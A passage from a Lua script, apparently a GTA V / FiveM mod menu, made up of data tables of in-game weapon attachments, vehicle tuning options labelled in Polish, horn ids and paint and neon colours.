  3134. id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_TRACER'
  3135. },
  3136. {
  3137. name = '~h~~r~> ~s~Incendiary Rounds',
  3138. id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_INCENDIARY'
  3139. },
  3140. {
  3141. name = '~h~~r~> ~s~Armor Piercing Rounds',
  3142. id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_ARMORPIERCING'
  3143. },
  3144. {
  3145. name = '~h~~r~> ~s~FMJ Rounds',
  3146. id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_FMJ'
  3147. }
  3148. },
  3149. Sights = {
  3150. {
  3151. name = '~h~~r~> ~s~Holograhpic Sight',
  3152. id = 'COMPONENT_AT_SIGHTS'
  3153. },
  3154. {
  3155. name = '~h~~r~> ~s~Small Scope',
  3156. id = 'COMPONENT_AT_SCOPE_MACRO_02_MK2'
  3157. },
  3158. {
  3159. name = '~h~~r~> ~s~Medium Scope',
  3160. id = 'COMPONENT_AT_SCOPE_SMALL_MK2'
  3161. }
  3162. },
  3163. Flashlight = {
  3164. {
  3165. name = '~h~~r~> ~s~Flashlight',
  3166. id = 'COMPONENT_AT_AR_FLSH'
  3167. }
  3168. },
  3169. Barrel = {
  3170. {
  3171. name = '~h~~r~> ~s~Default',
  3172. id = 'COMPONENT_AT_BP_BARREL_01'
  3173. },
  3174. {
  3175. name = '~h~~r~> ~s~Heavy',
  3176. id = 'COMPONENT_AT_BP_BARREL_02'
  3177. }
  3178. },
  3179. BarrelAttachments = {
  3180. {
  3181. name = '~h~~r~> ~s~Suppressor',
  3182. id = 'COMPONENT_AT_AR_SUPP'
  3183. },
  3184. {
  3185. name = '~h~~r~> ~s~Flat Muzzle Brake',
  3186. id = 'COMPONENT_AT_MUZZLE_01'
  3187. },
  3188. {
  3189. name = '~h~~r~> ~s~Tactical Muzzle Brake',
  3190. id = 'COMPONENT_AT_MUZZLE_02'
  3191. },
  3192. {
  3193. name = '~h~~r~> ~s~Fat-End Muzzle Brake',
  3194. id = 'COMPONENT_AT_MUZZLE_03'
  3195. },
  3196. {
  3197. name = '~h~~r~> ~s~Precision Muzzle Brake',
  3198. id = 'COMPONENT_AT_MUZZLE_04'
  3199. },
  3200. {
  3201. name = '~h~~r~> ~s~Heavy Duty Muzzle Brake',
  3202. id = 'COMPONENT_AT_MUZZLE_05'
  3203. },
  3204. {
  3205. name = '~h~~r~> ~s~Slanted Muzzle Brake',
  3206. id = 'COMPONENT_AT_MUZZLE_06'
  3207. },
  3208. {
  3209. name = '~h~~r~> ~s~Split-End Muzzle Brake',
  3210. id = 'COMPONENT_AT_MUZZLE_07'
  3211. }
  3212. },
  3213. Grips = {
  3214. {
  3215. name = '~h~~r~> ~s~Grip',
  3216. id = 'COMPONENT_AT_AR_AFGRIP'
  3217. }
  3218. }
  3219. }
  3220. },
  3221. CompactRifle = {
  3222. id = 'weapon_compactrifle',
  3223. name = '~h~~r~> ~s~Compact Rifle',
  3224. bInfAmmo = false,
  3225. mods = {
  3226. Magazines = {
  3227. {
  3228. name = '~h~~r~> ~s~Default Magazine',
  3229. id = 'COMPONENT_COMPACTRIFLE_CLIP_01'
  3230. },
  3231. {
  3232. name = '~h~~r~> ~s~Extended Magazine',
  3233. id = 'COMPONENT_COMPACTRIFLE_CLIP_02'
  3234. },
  3235. {
  3236. name = '~h~~r~> ~s~Drum Magazine',
  3237. id = 'COMPONENT_COMPACTRIFLE_CLIP_03'
  3238. }
  3239. }
  3240. }
  3241. }
  3242. },
  3243. LMG = {
  3244. MG = {
  3245. id = 'weapon_mg',
  3246. name = '~h~~r~> ~s~MG',
  3247. bInfAmmo = false,
  3248. mods = {
  3249. Magazines = {
  3250. {
  3251. name = '~h~~r~> ~s~Default Magazine',
  3252. id = 'COMPONENT_MG_CLIP_01'
  3253. },
  3254. {
  3255. name = '~h~~r~> ~s~Extended Magazine',
  3256. id = 'COMPONENT_MG_CLIP_02'
  3257. }
  3258. },
  3259. Sights = {
  3260. {
  3261. name = '~h~~r~> ~s~Scope',
  3262. id = 'COMPONENT_AT_SCOPE_SMALL_02'
  3263. }
  3264. }
  3265. }
  3266. },
  3267. CombatMG = {
  3268. id = 'weapon_combatmg',
  3269. name = '~h~~r~> ~s~Combat MG',
  3270. bInfAmmo = false,
  3271. mods = {
  3272. Magazines = {
  3273. {
  3274. name = '~h~~r~> ~s~Default Magazine',
  3275. id = 'COMPONENT_COMBATMG_CLIP_01'
  3276. },
  3277. {
  3278. name = '~h~~r~> ~s~Extended Magazine',
  3279. id = 'COMPONENT_COMBATMG_CLIP_02'
  3280. }
  3281. },
  3282. Sights = {
  3283. {
  3284. name = '~h~~r~> ~s~Scope',
  3285. id = 'COMPONENT_AT_SCOPE_MEDIUM'
  3286. }
  3287. },
  3288. Grips = {
  3289. {
  3290. name = '~h~~r~> ~s~Grip',
  3291. id = 'COMPONENT_AT_AR_AFGRIP'
  3292. }
  3293. }
  3294. }
  3295. },
  3296. CombatMGMkII = {
  3297. id = 'weapon_combatmg_mk2',
  3298. name = '~h~~r~> ~s~Combat MG Mk II',
  3299. bInfAmmo = false,
  3300. mods = {
  3301. Magazines = {
  3302. {
  3303. name = '~h~~r~> ~s~Default Magazine',
  3304. id = 'COMPONENT_COMBATMG_MK2_CLIP_01'
  3305. },
  3306. {
  3307. name = '~h~~r~> ~s~Extended Magazine',
  3308. id = 'COMPONENT_COMBATMG_MK2_CLIP_02'
  3309. },
  3310. {
  3311. name = '~h~~r~> ~s~Tracer Rounds',
  3312. id = 'COMPONENT_COMBATMG_MK2_CLIP_TRACER'
  3313. },
  3314. {
  3315. name = '~h~~r~> ~s~Incendiary Rounds',
  3316. id = 'COMPONENT_COMBATMG_MK2_CLIP_INCENDIARY'
  3317. },
  3318. {
  3319. name = '~h~~r~> ~s~Hollow Point Rounds',
  3320. id = 'COMPONENT_COMBATMG_MK2_CLIP_ARMORPIERCING'
  3321. },
  3322. {
  3323. name = '~h~~r~> ~s~FMJ Rounds',
  3324. id = 'COMPONENT_COMBATMG_MK2_CLIP_FMJ'
  3325. }
  3326. },
  3327. Sights = {
  3328. {
  3329. name = '~h~~r~> ~s~Holograhpic Sight',
  3330. id = 'COMPONENT_AT_SIGHTS'
  3331. },
  3332. {
  3333. name = '~h~~r~> ~s~Medium Scope',
  3334. id = 'COMPONENT_AT_SCOPE_SMALL_MK2'
  3335. },
  3336. {
  3337. name = '~h~~r~> ~s~Large Scope',
  3338. id = 'COMPONENT_AT_SCOPE_MEDIUM_MK2'
  3339. }
  3340. },
  3341. Barrel = {
  3342. {
  3343. name = '~h~~r~> ~s~Default',
  3344. id = 'COMPONENT_AT_MG_BARREL_01'
  3345. },
  3346. {
  3347. name = '~h~~r~> ~s~Heavy',
  3348. id = 'COMPONENT_AT_MG_BARREL_02'
  3349. }
  3350. },
  3351. BarrelAttachments = {
  3352. {
  3353. name = '~h~~r~> ~s~Flat Muzzle Brake',
  3354. id = 'COMPONENT_AT_MUZZLE_01'
  3355. },
  3356. {
  3357. name = '~h~~r~> ~s~Tactical Muzzle Brake',
  3358. id = 'COMPONENT_AT_MUZZLE_02'
  3359. },
  3360. {
  3361. name = '~h~~r~> ~s~Fat-End Muzzle Brake',
  3362. id = 'COMPONENT_AT_MUZZLE_03'
  3363. },
  3364. {
  3365. name = '~h~~r~> ~s~Precision Muzzle Brake',
  3366. id = 'COMPONENT_AT_MUZZLE_04'
  3367. },
  3368. {
  3369. name = '~h~~r~> ~s~Heavy Duty Muzzle Brake',
  3370. id = 'COMPONENT_AT_MUZZLE_05'
  3371. },
  3372. {
  3373. name = '~h~~r~> ~s~Slanted Muzzle Brake',
  3374. id = 'COMPONENT_AT_MUZZLE_06'
  3375. },
  3376. {
  3377. name = '~h~~r~> ~s~Split-End Muzzle Brake',
  3378. id = 'COMPONENT_AT_MUZZLE_07'
  3379. }
  3380. },
  3381. Grips = {
  3382. {
  3383. name = '~h~~r~> ~s~Grip',
  3384. id = 'COMPONENT_AT_AR_AFGRIP_02'
  3385. }
  3386. }
  3387. }
  3388. },
  3389. GusenbergSweeper = {
  3390. id = 'weapon_gusenberg',
  3391. name = '~h~~r~> ~s~GusenbergSweeper',
  3392. bInfAmmo = false,
  3393. mods = {
  3394. Magazines = {
  3395. {
  3396. name = '~h~~r~> ~s~Default Magazine',
  3397. id = 'COMPONENT_GUSENBERG_CLIP_01'
  3398. },
  3399. {
  3400. name = '~h~~r~> ~s~Extended Magazine',
  3401. id = 'COMPONENT_GUSENBERG_CLIP_02'
  3402. }
  3403. }
  3404. }
  3405. }
  3406. },
  3407. Snipers = {
  3408. SniperRifle = {
  3409. id = 'weapon_sniperrifle',
  3410. name = '~h~~r~> ~s~Sniper Rifle',
  3411. bInfAmmo = false,
  3412. mods = {
  3413. Sights = {
  3414. {
  3415. name = '~h~~r~> ~s~Scope',
  3416. id = 'COMPONENT_AT_SCOPE_LARGE'
  3417. },
  3418. {
  3419. name = '~h~~r~> ~s~Advanced Scope',
  3420. id = 'COMPONENT_AT_SCOPE_MAX'
  3421. }
  3422. },
  3423. BarrelAttachments = {
  3424. {
  3425. name = '~h~~r~> ~s~Suppressor',
  3426. id = 'COMPONENT_AT_AR_SUPP_02'
  3427. }
  3428. }
  3429. }
  3430. },
  3431. HeavySniper = {
  3432. id = 'weapon_heavysniper',
  3433. name = '~h~~r~> ~s~Heavy Sniper',
  3434. bInfAmmo = false,
  3435. mods = {
  3436. Sights = {
  3437. {
  3438. name = '~h~~r~> ~s~Scope',
  3439. id = 'COMPONENT_AT_SCOPE_LARGE'
  3440. },
  3441. {
  3442. name = '~h~~r~> ~s~Advanced Scope',
  3443. id = 'COMPONENT_AT_SCOPE_MAX'
  3444. }
  3445. }
  3446. }
  3447. },
  3448. HeavySniperMkII = {
  3449. id = 'weapon_heavysniper_mk2',
  3450. name = '~h~~r~> ~s~Heavy Sniper Mk II',
  3451. bInfAmmo = false,
  3452. mods = {
  3453. Magazines = {
  3454. {
  3455. name = '~h~~r~> ~s~Default Magazine',
  3456. id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_01'
  3457. },
  3458. {
  3459. name = '~h~~r~> ~s~Extended Magazine',
  3460. id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_02'
  3461. },
  3462. {
  3463. name = '~h~~r~> ~s~Incendiary Rounds',
  3464. id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_INCENDIARY'
  3465. },
  3466. {
  3467. name = '~h~~r~> ~s~Armor Piercing Rounds',
  3468. id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_ARMORPIERCING'
  3469. },
  3470. {
  3471. name = '~h~~r~> ~s~FMJ Rounds',
  3472. id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_FMJ'
  3473. },
  3474. {
  3475. name = '~h~~r~> ~s~Explosive Rounds',
  3476. id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_EXPLOSIVE'
  3477. }
  3478. },
  3479. Sights = {
  3480. {
  3481. name = '~h~~r~> ~s~Zoom Scope',
  3482. id = 'COMPONENT_AT_SCOPE_LARGE_MK2'
  3483. },
  3484. {
  3485. name = '~h~~r~> ~s~Advanced Scope',
  3486. id = 'COMPONENT_AT_SCOPE_MAX'
  3487. },
  3488. {
  3489. name = '~h~~r~> ~s~Nigt Vision Scope',
  3490. id = 'COMPONENT_AT_SCOPE_NV'
  3491. },
  3492. {
  3493. name = '~h~~r~> ~s~Thermal Scope',
  3494. id = 'COMPONENT_AT_SCOPE_THERMAL'
  3495. }
  3496. },
  3497. Barrel = {
  3498. {
  3499. name = '~h~~r~> ~s~Default',
  3500. id = 'COMPONENT_AT_SR_BARREL_01'
  3501. },
  3502. {
  3503. name = '~h~~r~> ~s~Heavy',
  3504. id = 'COMPONENT_AT_SR_BARREL_02'
  3505. }
  3506. },
  3507. BarrelAttachments = {
  3508. {
  3509. name = '~h~~r~> ~s~Suppressor',
  3510. id = 'COMPONENT_AT_SR_SUPP_03'
  3511. },
  3512. {
  3513. name = '~h~~r~> ~s~Squared Muzzle Brake',
  3514. id = 'COMPONENT_AT_MUZZLE_08'
  3515. },
  3516. {
  3517. name = '~h~~r~> ~s~Bell-End Muzzle Brake',
  3518. id = 'COMPONENT_AT_MUZZLE_09'
  3519. }
  3520. }
  3521. }
  3522. },
  3523. MarksmanRifle = {
  3524. id = 'weapon_marksmanrifle',
  3525. name = '~h~~r~> ~s~Marksman Rifle',
  3526. bInfAmmo = false,
  3527. mods = {
  3528. Magazines = {
  3529. {
  3530. name = '~h~~r~> ~s~Default Magazine',
  3531. id = 'COMPONENT_MARKSMANRIFLE_CLIP_01'
  3532. },
  3533. {
  3534. name = '~h~~r~> ~s~Extended Magazine',
  3535. id = 'COMPONENT_MARKSMANRIFLE_CLIP_02'
  3536. }
  3537. },
  3538. Sights = {
  3539. {
  3540. name = '~h~~r~> ~s~Scope',
  3541. id = 'COMPONENT_AT_SCOPE_LARGE_FIXED_ZOOM'
  3542. }
  3543. },
  3544. Flashlight = {
  3545. {
  3546. name = '~h~~r~> ~s~Flashlight',
  3547. id = 'COMPONENT_AT_AR_FLSH'
  3548. }
  3549. },
  3550. BarrelAttachments = {
  3551. {
  3552. name = '~h~~r~> ~s~Suppressor',
  3553. id = 'COMPONENT_AT_AR_SUPP'
  3554. }
  3555. },
  3556. Grips = {
  3557. {
  3558. name = '~h~~r~> ~s~Grip',
  3559. id = 'COMPONENT_AT_AR_AFGRIP'
  3560. }
  3561. }
  3562. }
  3563. },
  3564. MarksmanRifleMkII = {
  3565. id = 'weapon_marksmanrifle_mk2',
  3566. name = '~h~~r~> ~s~Marksman Rifle Mk II',
  3567. bInfAmmo = false,
  3568. mods = {
  3569. Magazines = {
  3570. {
  3571. name = '~h~~r~> ~s~Default Magazine',
  3572. id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_01'
  3573. },
  3574. {
  3575. name = '~h~~r~> ~s~Extended Magazine',
  3576. id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_02'
  3577. },
  3578. {
  3579. name = '~h~~r~> ~s~Tracer Rounds',
  3580. id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_TRACER'
  3581. },
  3582. {
  3583. name = '~h~~r~> ~s~Incendiary Rounds',
  3584. id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_INCENDIARY'
  3585. },
  3586. {
  3587. name = '~h~~r~> ~s~Hollow Point Rounds',
  3588. id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_ARMORPIERCING'
  3589. },
  3590. {
  3591. name = '~h~~r~> ~s~FMJ Rounds',
  3592. id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_FMJ '
  3593. }
  3594. },
  3595. Sights = {
  3596. {
  3597. name = '~h~~r~> ~s~Holograhpic Sight',
  3598. id = 'COMPONENT_AT_SIGHTS'
  3599. },
  3600. {
  3601. name = '~h~~r~> ~s~Large Scope',
  3602. id = 'COMPONENT_AT_SCOPE_MEDIUM_MK2'
  3603. },
  3604. {
  3605. name = '~h~~r~> ~s~Zoom Scope',
  3606. id = 'COMPONENT_AT_SCOPE_LARGE_FIXED_ZOOM_MK2'
  3607. }
  3608. },
  3609. Flashlight = {
  3610. {
  3611. name = '~h~~r~> ~s~Flashlight',
  3612. id = 'COMPONENT_AT_AR_FLSH'
  3613. }
  3614. },
  3615. Barrel = {
  3616. {
  3617. name = '~h~~r~> ~s~Default',
  3618. id = 'COMPONENT_AT_MRFL_BARREL_01'
  3619. },
  3620. {
  3621. name = '~h~~r~> ~s~Heavy',
  3622. id = 'COMPONENT_AT_MRFL_BARREL_02'
  3623. }
  3624. },
  3625. BarrelAttachments = {
  3626. {
  3627. name = '~h~~r~> ~s~Suppressor',
  3628. id = 'COMPONENT_AT_AR_SUPP'
  3629. },
  3630. {
  3631. name = '~h~~r~> ~s~Flat Muzzle Brake',
  3632. id = 'COMPONENT_AT_MUZZLE_01'
  3633. },
  3634. {
  3635. name = '~h~~r~> ~s~Tactical Muzzle Brake',
  3636. id = 'COMPONENT_AT_MUZZLE_02'
  3637. },
  3638. {
  3639. name = '~h~~r~> ~s~Fat-End Muzzle Brake',
  3640. id = 'COMPONENT_AT_MUZZLE_03'
  3641. },
  3642. {
  3643. name = '~h~~r~> ~s~Precision Muzzle Brake',
  3644. id = 'COMPONENT_AT_MUZZLE_04'
  3645. },
  3646. {
  3647. name = '~h~~r~> ~s~Heavy Duty Muzzle Brake',
  3648. id = 'COMPONENT_AT_MUZZLE_05'
  3649. },
  3650. {
  3651. name = '~h~~r~> ~s~Slanted Muzzle Brake',
  3652. id = 'COMPONENT_AT_MUZZLE_06'
  3653. },
  3654. {
  3655. name = '~h~~r~> ~s~Split-End Muzzle Brake',
  3656. id = 'COMPONENT_AT_MUZZLE_07'
  3657. }
  3658. },
  3659. Grips = {
  3660. {
  3661. name = '~h~~r~> ~s~Grip',
  3662. id = 'COMPONENT_AT_AR_AFGRIP_02'
  3663. }
  3664. }
  3665. }
  3666. }
  3667. },
  3668. Heavy = {
  3669. RPG = {
  3670. id = 'weapon_rpg',
  3671. name = '~h~~r~> ~s~RPG',
  3672. bInfAmmo = false,
  3673. mods = {}
  3674. },
  3675. GrenadeLauncher = {
  3676. id = 'weapon_grenadelauncher',
  3677. name = '~h~~r~> ~s~Grenade Launcher',
  3678. bInfAmmo = false,
  3679. mods = {}
  3680. },
  3681. GrenadeLauncherSmoke = {
  3682. id = 'weapon_grenadelauncher_smoke',
  3683. name = '~h~~r~> ~s~Grenade Launcher Smoke',
  3684. bInfAmmo = false,
  3685. mods = {}
  3686. },
  3687. Minigun = {
  3688. id = 'weapon_minigun',
  3689. name = '~h~~r~> ~s~Minigun',
  3690. bInfAmmo = false,
  3691. mods = {}
  3692. },
  3693. FireworkLauncher = {
  3694. id = 'weapon_firework',
  3695. name = '~h~~r~> ~s~Firework Launcher',
  3696. bInfAmmo = false,
  3697. mods = {}
  3698. },
  3699. Railgun = {
  3700. id = 'weapon_railgun',
  3701. name = '~h~~r~> ~s~Railgun',
  3702. bInfAmmo = false,
  3703. mods = {}
  3704. },
  3705. HomingLauncher = {
  3706. id = 'weapon_hominglauncher',
  3707. name = '~h~~r~> ~s~Homing Launcher',
  3708. bInfAmmo = false,
  3709. mods = {}
  3710. },
  3711. CompactGrenadeLauncher = {
  3712. id = 'weapon_compactlauncher',
  3713. name = '~h~~r~> ~s~Compact Grenade Launcher',
  3714. bInfAmmo = false,
  3715. mods = {}
  3716. },
  3717. Widowmaker = {
  3718. id = 'weapon_rayminigun',
  3719. name = '~h~~r~> ~s~Widowmaker',
  3720. bInfAmmo = false,
  3721. mods = {}
  3722. }
  3723. },
  3724. Throwables = {
  3725. Grenade = {
  3726. id = 'weapon_grenade',
  3727. name = '~h~~r~> ~s~Grenade',
  3728. bInfAmmo = false,
  3729. mods = {}
  3730. },
  3731. BZGas = {
  3732. id = 'weapon_bzgas',
  3733. name = '~h~~r~> ~s~BZ Gas',
  3734. bInfAmmo = false,
  3735. mods = {}
  3736. },
  3737. MolotovCocktail = {
  3738. id = 'weapon_molotov',
  3739. name = '~h~~r~> ~s~Molotov Cocktail',
  3740. bInfAmmo = false,
  3741. mods = {}
  3742. },
  3743. StickyBomb = {
  3744. id = 'weapon_stickybomb',
  3745. name = '~h~~r~> ~s~Sticky Bomb',
  3746. bInfAmmo = false,
  3747. mods = {}
  3748. },
  3749. ProximityMines = {
  3750. id = 'weapon_proxmine',
  3751. name = '~h~~r~> ~s~Proximity Mines',
  3752. bInfAmmo = false,
  3753. mods = {}
  3754. },
  3755. Snowballs = {
  3756. id = 'weapon_snowball',
  3757. name = '~h~~r~> ~s~Snowballs',
  3758. bInfAmmo = false,
  3759. mods = {}
  3760. },
  3761. PipeBombs = {
  3762. id = 'weapon_pipebomb',
  3763. name = '~h~~r~> ~s~Pipe Bombs',
  3764. bInfAmmo = false,
  3765. mods = {}
  3766. },
  3767. Baseball = {
  3768. id = 'weapon_ball',
  3769. name = '~h~~r~> ~s~Baseball',
  3770. bInfAmmo = false,
  3771. mods = {}
  3772. },
  3773. TearGas = {
  3774. id = 'weapon_smokegrenade',
  3775. name = '~h~~r~> ~s~Tear Gas',
  3776. bInfAmmo = false,
  3777. mods = {}
  3778. },
  3779. Flare = {
  3780. id = 'weapon_flare',
  3781. name = '~h~~r~> ~s~Flare',
  3782. bInfAmmo = false,
  3783. mods = {}
  3784. }
  3785. },
  3786. Misc = {
  3787. Parachute = {
  3788. id = 'gadget_parachute',
  3789. name = '~h~~r~> ~s~Parachute',
  3790. bInfAmmo = false,
  3791. mods = {}
  3792. },
  3793. FireExtinguisher = {
  3794. id = 'weapon_fireextinguisher',
  3795. name = '~h~~r~> ~s~Fire Extinguisher',
  3796. bInfAmmo = false,
  3797. mods = {}
  3798. }
  3799. }
  3800. }
  3801. local b8 = false
  3802. local b9 = false
  3803. local ba = false
  3804. local bb = false
  3805. local bc = nil
  3806. local bd = {}
  3807. local be = {}
  3808. local bf = nil
  3809. local bg = false
  3810. local bh = -1
  3811. local bi = -1
  3812. local bj = -1
  3813. local bk = false
  3814. local bl = {
  3815. {
  3816. name = '~h~Spojlery',
  3817. id = 0
  3818. },
  3819. {
  3820. name = '~h~Przedni zderzak',
  3821. id = 1
  3822. },
  3823. {
  3824. name = '~h~Tylny zderzak',
  3825. id = 2
  3826. },
  3827. {
  3828. name = '~h~Progi',
  3829. id = 3
  3830. },
  3831. {
  3832. name = '~h~Wydechy',
  3833. id = 4
  3834. },
  3835. {
  3836. name = '~h~Rama',
  3837. id = 5
  3838. },
  3839. {
  3840. name = '~h~Grile',
  3841. id = 6
  3842. },
  3843. {
  3844. name = '~h~Maska',
  3845. id = 7
  3846. },
  3847. {
  3848. name = '~h~Blotnik',
  3849. id = 8
  3850. },
  3851. {
  3852. name = '~h~Blotniki',
  3853. id = 9
  3854. },
  3855. {
  3856. name = '~h~Dach',
  3857. id = 10
  3858. },
  3859. {
  3860. name = '~h~Vanity Plates',
  3861. id = 25
  3862. },
  3863. {
  3864. name = '~h~Trim',
  3865. id = 27
  3866. },
  3867. {
  3868. name = '~h~Ozdoby',
  3869. id = 28
  3870. },
  3871. {
  3872. name = '~h~Deska rozdzielcza',
  3873. id = 29
  3874. },
  3875. {
  3876. name = '~h~Dial',
  3877. id = 30
  3878. },
  3879. {
  3880. name = '~h~Glosniki na drzwi',
  3881. id = 31
  3882. },
  3883. {
  3884. name = '~h~Siedzenia',
  3885. id = 32
  3886. },
  3887. {
  3888. name = '~h~Kierownica',
  3889. id = 33
  3890. },
  3891. {
  3892. name = '~h~Raczka biegow',
  3893. id = 34
  3894. },
  3895. {
  3896. name = '~h~Tablice',
  3897. id = 35
  3898. },
  3899. {
  3900. name = '~h~Glosniki',
  3901. id = 36
  3902. },
  3903. {
  3904. name = '~h~Bagaznik',
  3905. id = 37
  3906. },
  3907. {
  3908. name = '~h~Hydraulika',
  3909. id = 38
  3910. },
  3911. {
  3912. name = '~h~Blok silnika',
  3913. id = 39
  3914. },
  3915. {
  3916. name = '~h~Filtry',
  3917. id = 40
  3918. },
  3919. {
  3920. name = '~h~Rozporki',
  3921. id = 41
  3922. },
  3923. {
  3924. name = '~h~Arch Cover',
  3925. id = 42
  3926. },
  3927. {
  3928. name = '~h~Anteny',
  3929. id = 43
  3930. },
  3931. {
  3932. name = '~h~Trim 2',
  3933. id = 44
  3934. },
  3935. {
  3936. name = '~h~Pojemink na paliwo',
  3937. id = 45
  3938. },
  3939. {
  3940. name = '~h~Okna',
  3941. id = 46
  3942. },
  3943. {
  3944. name = '~h~Oznazcenie',
  3945. id = 48
  3946. },
  3947. {
  3948. name = '~h~Klaksony',
  3949. id = 14
  3950. },
  3951. {
  3952. name = '~h~Kola',
  3953. id = 23
  3954. },
  3955. {
  3956. name = '~h~Kola Benny',
  3957. id = 'wheeltypes'
  3958. },
  3959. {
  3960. name = '~h~Extras',
  3961. id = 'extra'
  3962. },
  3963. {
  3964. name = '~h~Neony',
  3965. id = 'neon'
  3966. },
  3967. {
  3968. name = '~h~Kolor Auta',
  3969. id = 'paint'
  3970. },
  3971. {
  3972. name = '~h~Kolor Swiatel',
  3973. id = 'headlight'
  3974. },
  3975. {
  3976. name = '~h~Rejestracja',
  3977. id = 'licence'
  3978. }
  3979. }
  3980. local bm = {
  3981. {
  3982. name = '~h~~r~Silnik',
  3983. id = 11
  3984. },
  3985. {
  3986. name = '~h~~b~Hamulce',
  3987. id = 12
  3988. },
  3989. {
  3990. name = '~h~~g~Sk. biegow',
  3991. id = 13
  3992. },
  3993. {
  3994. name = '~h~~y~Zawie.',
  3995. id = 15
  3996. },
  3997. {
  3998. name = '~h~~b~Armor',
  3999. id = 16
  4000. }
  4001. }
  4002. local bn = {
  4003. {
  4004. name = '~h~Niebieski on Bialym 2',
  4005. id = 0
  4006. },
  4007. {
  4008. name = '~h~Niebieski na Bialym 3',
  4009. id = 4
  4010. },
  4011. {
  4012. name = '~h~Zolty na Niebieskim',
  4013. id = 2
  4014. },
  4015. {
  4016. name = '~h~Zolty na Czarnym',
  4017. id = 1
  4018. },
  4019. {
  4020. name = '~h~North Yankton',
  4021. id = 5
  4022. }
  4023. }
  4024. local bo = {
  4025. {
  4026. name = '~h~Normalne',
  4027. id = -1
  4028. },
  4029. {
  4030. name = '~h~Biale',
  4031. id = 0
  4032. },
  4033. {
  4034. name = '~h~Niebieskie',
  4035. id = 1
  4036. },
  4037. {
  4038. name = '~h~Elektryczny Niebieski',
  4039. id = 2
  4040. },
  4041. {
  4042. name = '~h~Mietowa Zielen',
  4043. id = 3
  4044. },
  4045. {
  4046. name = '~h~Cytrusowa Zielen',
  4047. id = 4
  4048. },
  4049. {
  4050. name = '~h~Zolty',
  4051. id = 5
  4052. },
  4053. {
  4054. name = '~h~Zloty Deszcz',
  4055. id = 6
  4056. },
  4057. {
  4058. name = '~h~Pomaranczowy',
  4059. id = 7
  4060. },
  4061. {
  4062. name = '~h~Czerwony',
  4063. id = 8
  4064. },
  4065. {
  4066. name = '~h~Kucykowy Roz',
  4067. id = 9
  4068. },
  4069. {
  4070. name = '~h~Goracy Roz',
  4071. id = 10
  4072. },
  4073. {
  4074. name = '~h~Fioletowy',
  4075. id = 11
  4076. },
  4077. {
  4078. name = '~h~Nocny Rycerz',
  4079. id = 12
  4080. }
  4081. }
  4082. local bp = {
  4083. ['Stock Horn'] = -1,
  4084. ['Truck Horn'] = 1,
  4085. ['Police Horn'] = 2,
  4086. ['Clown Horn'] = 3,
  4087. ['Musical Horn 1'] = 4,
  4088. ['Musical Horn 2'] = 5,
  4089. ['Musical Horn 3'] = 6,
  4090. ['Musical Horn 4'] = 7,
  4091. ['Musical Horn 5'] = 8,
  4092. ['Sad Trombone Horn'] = 9,
  4093. ['Classical Horn 1'] = 10,
  4094. ['Classical Horn 2'] = 11,
  4095. ['Classical Horn 3'] = 12,
  4096. ['Classical Horn 4'] = 13,
  4097. ['Classical Horn 5'] = 14,
  4098. ['Classical Horn 6'] = 15,
  4099. ['Classical Horn 7'] = 16,
  4100. ['Scaledo Horn'] = 17,
  4101. ['Scalere Horn'] = 18,
  4102. ['Salemi Horn'] = 19,
  4103. ['Scalefa Horn'] = 20,
  4104. ['Scalesol Horn'] = 21,
  4105. ['Scalela Horn'] = 22,
  4106. ['Scaleti Horn'] = 23,
  4107. ['Scaledo Horn High'] = 24,
  4108. ['Jazz Horn 1'] = 25,
  4109. ['Jazz Horn 2'] = 26,
  4110. ['Jazz Horn 3'] = 27,
  4111. ['Jazz Loop Horn'] = 28,
  4112. ['Starspangban Horn 1'] = 28,
  4113. ['Starspangban Horn 2'] = 29,
  4114. ['Starspangban Horn 3'] = 30,
  4115. ['Starspangban Horn 4'] = 31,
  4116. ['Classical Loop 1'] = 32,
  4117. ['Classical Horn 8'] = 33,
  4118. ['Classical Loop 2'] = 34
  4119. }
  4120. local bq = {
  4121. ['White'] = {
  4122. 255,
  4123. 255,
  4124. 255
  4125. },
  4126. ['Blue'] = {
  4127. 0,
  4128. 0,
  4129. 255
  4130. },
  4131. ['Electric Blue'] = {
  4132. 0,
  4133. 150,
  4134. 255
  4135. },
  4136. ['Mint Green'] = {
  4137. 50,
  4138. 255,
  4139. 155
  4140. },
  4141. ['Lime Green'] = {
  4142. 0,
  4143. 255,
  4144. 0
  4145. },
  4146. ['Yellow'] = {
  4147. 255,
  4148. 255,
  4149. 0
  4150. },
  4151. ['Golden Shower'] = {
  4152. 204,
  4153. 204,
  4154. 0
  4155. },
  4156. ['Orange'] = {
  4157. 255,
  4158. 128,
  4159. 0
  4160. },
  4161. ['Red'] = {
  4162. 255,
  4163. 0,
  4164. 0
  4165. },
  4166. ['Pony Pink'] = {
  4167. 255,
  4168. 102,
  4169. 255
  4170. },
  4171. ['Hot Pink'] = {
  4172. 255,
  4173. 0,
  4174. 255
  4175. },
  4176. ['Purple'] = {
  4177. 153,
  4178. 0,
  4179. 153
  4180. }
  4181. }
  4182. local br = {
  4183. {
  4184. name = '~h~Black',
  4185. id = 0
  4186. },
  4187. {
  4188. name = '~h~Carbon Black',
  4189. id = 147
  4190. },
  4191. {
  4192. name = '~h~Graphite',
  4193. id = 1
  4194. },
  4195. {
  4196. name = '~h~Anhracite Black',
  4197. id = 11
  4198. },
  4199. {
  4200. name = '~h~Black Steel',
  4201. id = 2
  4202. },
  4203. {
  4204. name = '~h~Dark Steel',
  4205. id = 3
  4206. },
  4207. {
  4208. name = '~h~Silver',
  4209. id = 4
  4210. },
  4211. {
  4212. name = '~h~Bluish Silver',
  4213. id = 5
  4214. },
  4215. {
  4216. name = '~h~Rolled Steel',
  4217. id = 6
  4218. },
  4219. {
